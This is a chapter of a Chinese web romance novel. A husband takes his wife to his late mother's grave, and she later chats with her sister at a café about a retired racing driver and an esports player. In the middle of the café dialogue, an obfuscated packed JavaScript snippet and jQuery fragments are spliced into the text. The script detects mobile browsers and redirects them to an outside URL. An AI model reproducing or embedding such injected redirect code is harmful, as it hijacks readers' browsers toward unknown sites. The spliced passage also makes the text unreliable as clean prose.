23. 朱丽叶玫瑰

作品:《裙边触礁[先婚后爱]

    原就不是太严重的病,宋祈挂完一瓶点滴后,基本已经没什么问题了。


    岑意倾去取药,傍晚时分,两人从医院回家。


    “你不是说今天有事吗?现在去还来得及吗,要不要我陪你去?”


    他嗓子还哑着,多说几句就痒得直咳嗽。


    司机把车停在两人面前,她没等车里的曲扬下车来开门,自己先钻进后座,


    “不用,就是去工作室选个片,已经搞定了。”


    他目光一滞,“哦。”


    “怎么感觉你很失落的样子?”她双手撑在座椅上,半个身子侧过来看着他,“这么希望我走,上午为什么还要我留下?”


    是挺失落的,宋祈本以为她上午急着要走是要去见祝淮序。


    但他没说话,佯装不经意地把手盖在她的手背上,又咳嗽了几声。


    车驶离医院,车厢内渐渐安静下来,只有空调送风的轻微细响。


    曲扬坐在副驾上问起明天的安排:


    “宋总,花已经按照老规矩订好了,明天需要我来接您过去吗?”


    “不用,我自己开车。”


    岑意倾猜到他们是在说去“那里”的事,只安静听着。


    老规矩,看来这事已经不止一次两次了。


    她抽回被他浅握住的那只手,低头刷手机。


    车里再次归于平静,窗外开始落雨,雨滴砸在车窗上发出闷响,盖过她的呼吸声。


    这雨下了一整夜,终于在第二天天将亮的时候止息。


    岑意倾从床上坐起来,简单收拾过后和宋祈一起出门。


    他今天开那辆车库里的one77,开出樾山居时,天气还是阴沉沉的。


    她一路上都盯着窗外发呆。


    昨晚想了一夜,她也没能猜到宋祈要带她去见的到底是谁。


    她对宋祈的了解不多,结婚之前的所有消息几乎都是从他人口中听说的,但也仅限于夸赞他年纪轻轻事业有成,花边新闻倒是从没有过。


    她甚至想过宋祈是不是早有别的意中人,却被商业联姻棒打鸳鸯,两人不愿妥协只能私下里偷偷见面。


    转念一想,以宋祈的条件,如果真有这么个人,他大可以拒绝和盛风的这桩婚事。


    电影里或烂俗或动人的剧本在脑中演了个遍,不管哪个套在他身上都不伦不类。


    车在花店外停下,宋祈让她稍等,接着就独自下了车。


    少顷,他抱着一束花递给她,“拿一下。”


    不是想象中浮夸的花束,这花的包装简单素净,是一束朱丽叶玫瑰。


    岑意倾蹙眉,怀里的花触动了她的某根神经,她想起一件一直以来都被自己忽略的事。


    车一路向北,开出市区,道旁的高楼逐渐稀疏,视野变得开阔,冬日里落光叶子的树伸展着枝条,在风里癫痫抽搐着。


    车速加快,她偷偷瞄了一眼仪表盘。


    “没有超速。”余光注意到她的眼神,宋祈笑道。


    她若无其事地收回视线。


    车在道路尽头拐了个弯,岑意倾抬眼,看见前方的指示牌,心里的猜测被证实。


    目的地是一座墓园。


    宋祈把车停好,绕到另一侧替她打开车门,领着她踩过长长的石阶,一路向上走。


    墓园周围没有什么高层建筑的阻挡,风刮起来更加狠厉,吹得她的发丝高高扬起。


    她腾出一只手将乱飞的头发捋到身侧,随他在一处墓碑前停下。


    “你可能听说过,我妈在我十五岁的时候去世了。”


    宋祈的双眸看向墓碑上的刻字。


    奉宜女士,享年四十岁。


    她去世的那一年,也是岑意倾回到盛家的那年。她记得盛从明一家人都去参加了葬礼,她在人生地不熟的盛家大宅待了一整天,回来后盛栀告诉她,宋家那个很漂亮的阿姨走了,葬礼上有很多朱丽叶玫瑰。


    奉宜去世后的第三年,她的丈夫宋远声也病逝了。


    “我妈去世之后,他的身体状况就开始逐渐恶化。那时候我十八岁,他倒很会挑时候。”宋祈嘴角的笑有些苦涩,


    “赶在大学申请季之前去世,让我改学商科。”


    短短三年时间,宋氏的顶梁柱双双去世。一时间,各方势力都露出了獠牙,想趁乱吞下这座庞大的商业帝国。


    彼时的宋祈还没上大学,只能由他退居幕后已久的爷爷出山,暂时稳住局面。


    “地库里那些车,有一部分是我妈送我的。”他蹲在墓前,把花束摆放好,


    “小时候我很喜欢看F1,放假的时候他们会带我飞去国外看比赛。如果他们都还在,我可能会去念机械工程。”


    那一年宋远声去世,宋祈最喜欢的车手宣布退役。


    阿塞拜疆的收官之战上,他看着车手在P房前画甜甜圈,烟雾笼罩车身,周遭车迷的欢呼如山呼海啸。


    但他什么也听不清,理想和远处车手的职业生涯一起画上了句号。


    他的嗓子还没好全,被风吹得咳嗽了两声,仰起头和站在身旁的她解释:


    “我妈晕车又晕船,按压穴位缓解那一招是跟我爸学的。”


    宋祈对夫妻的定义几乎都是从父母身上获取的,宋远声会为了奉宜的一句话跑遍明京,只为了买她想吃的甜品,在她晕船晕车时准备好应对措施。


    岑意倾垂眼,想起录节目的时候,他看着自己的眼睛,说她可以只负责做自己。


    他以前大概也听过同样的话,只是世事无常,他最终还是走了预想之外的道路。


    岑意倾飞快眨了几下眼睛,心里像扔进了整个柠檬带皮榨汁,又酸又苦。


    平时拿来哄人的话在脑子里过了一遍,光是想想都觉得肉麻,她索性在他身边蹲下,用胳膊肘碰他一下,


    “宋祈,我没有你那么大的权力,也不可能替你打理公司,让你去做自己想做的。”


    她抿唇,眼神落在墓碑上的名字,“但是跟我在一起的时候,你可以做你自己,就像你和我说的那样。”


    宋祈没有回答,耳边只有风声刮过。


    她从情绪中脱离出来,被这沉默逼得微窘,但话已经出口了,没有收回来的道理。


    良久,宋祈攥住她的指尖,在手背印下一吻。


    离开墓园时,两人已经变回成往常的模样。


    岑意倾的手机一直静音,回车上时才看见盛栀的未接来电。


    她瞥了一眼正在开车的宋祈,在心里盘算一通,给盛栀发去信息:


    【下午出来逛逛吧,地点你定。】


    盛栀选的位置是一家咖啡厅,虽然临近商圈,但是因为定价离谱又赶上工作日,人并不多。


    刚一进门,坐在落地窗边的女孩就兴奋地朝她挥挥手,“这里!”


    岑意倾是直接从墓园过来的,宋祈去公司了,顺路把她放在这儿。


    她只戴了个口罩做掩护,一落座就把手机扔给盛栀,“这人你认识吗?”


    “知道,四冠王嘛。”盛栀轻描淡写,“你就算要做功课,也不至于从这么早的车手下手吧?”


    岑意倾摘口罩的手停顿在空中,“你怎么知道我要做功课?”


    她记得尤婧说,她出席明京大奖赛的事要到比赛前才会官宣。


    盛栀一怔,把手机还给她,端起面前的咖啡杯抿了一口,“我就是听说......”


    岑意倾没在意她略显慌乱的动作,指指屏幕上的人,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809614|156726||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问:“他现在会出席比赛吗?”


    “应该不会。”盛栀很快恢复如常,她侧头想了一会儿,“他退役很多年了,很少露面。”


    “那有没有什么渠道能帮我联系他?我想邀请他明年到明京来观赛。”


    岑意倾搅散杯里的拉花,“宋祈很喜欢他。”


    “不是吧你?”盛栀笑得毫无顾忌,“真就是圣诞节快到了,你cosplay圣诞老人是吧?”


    她也知道自己和宋祈往常那样不对付的关系,眼下突然说出这种话有点奇怪。被这样笑话,她也只能受着。


    等笑累了,盛栀才道:


    “你要是真的想请他来,我说不定能帮你想想办法。”


    “真的?”刚才的窘迫都见鬼去吧,岑意倾一下来了精神。


    盛栀被她兴奋的模样吓到,赶紧降低她的期望值,“只能试试,能不能请来另说。”


    “你能帮我就好,不然还真想不到有谁能办妥这事儿。”她大方给人赚了笔账,“就当给你买个包。”


    盛栀不和她客气,当即收下。


    了却一桩心事,岑意倾松了口气,半开玩笑地感慨道:“我怎么不知道,你还有这层关系。”


    对面的人面上一僵,转而调笑:“你不知道的多了去了。”


    “和你一起参加节目的司砚,我也认识。”


    听到这个名字,岑意倾微微拧眉,她实在不太喜欢司砚这个人,


    “你还认识他?”


    “我以前搞竞,他是我主队的打野,长得又好看,粉丝可多了。”盛栀一边说着,一边低头欣赏自己刚做的美甲,


    “人红瓜也多,隔三差五爆几个出来,苦主聚在一起能去跳广场舞了。”


    “但是他比赛成绩好,电子竞技嘛,实力为上,大家就选择性忽略这回事了。”


    “后来和乔语冰在一起,先前那些瓜就更算不上了。”


    盛栀嗤笑:


    “男的能喘口气都能被表扬,更何况还是浪子回头这种经典故事。”


    她描述的司砚和岑意倾印象当中的完全一致,看来这人在节目里那番操作不是为了炒作,从始至终都是一个德性。


    “乔语冰我也见过,之前我给他们战队砸了不少钱,粉丝见面的时候,她就在我旁边,应援产出也不少,他俩算是圈子里大粉上位的经典案例了。”


    这下,乔语冰在司砚面前体贴到近乎卑微的原因一下子有了答案。


    想到过段时间录节目还得跟这两人相处,岑意倾兀自叹了口气。


    “叹什么气啊?”盛栀捕捉到她的小动作,挑眉道:“我给你准备了一个礼物。”


    “你又配什么货了?”


    她早习惯了盛栀把配货一股脑扔给她,果然,对面的人嘿嘿笑了两声:“你肯定用得上,或者你转赠给宋祈也行啊。”


    -


    岑意倾回家时,屋子里灯光大亮。


    宋祈坐在岛台边,看着她拎包进屋,把外套随手扔在旁边的架子上。


    浓黑的眸子像是沾在袖间的雨水,从她进门起就一直黏在她的身上。


    岑意倾回看过去,“怎么了?”


    他把岛台上长条形状的盒子递给她。


    “啊,这个是栀栀送我的,你如果要的话就拿去吧。”


    岑意倾没有接,她对盛栀送的这对东西没什么新鲜感,有时候看都懒得看一眼就直接扔到衣帽间吃灰了。


    宋祈起身,没好全的嗓音还是有些哑,贴着耳廓在她耳边响起:


    “你确定要给我吗?”


    他低沉的嗓音裹挟着灼热的气息,岑意倾一个激灵,掀开他手中的盒子。


    褪下帆布的包装,里面躺着一支马鞭。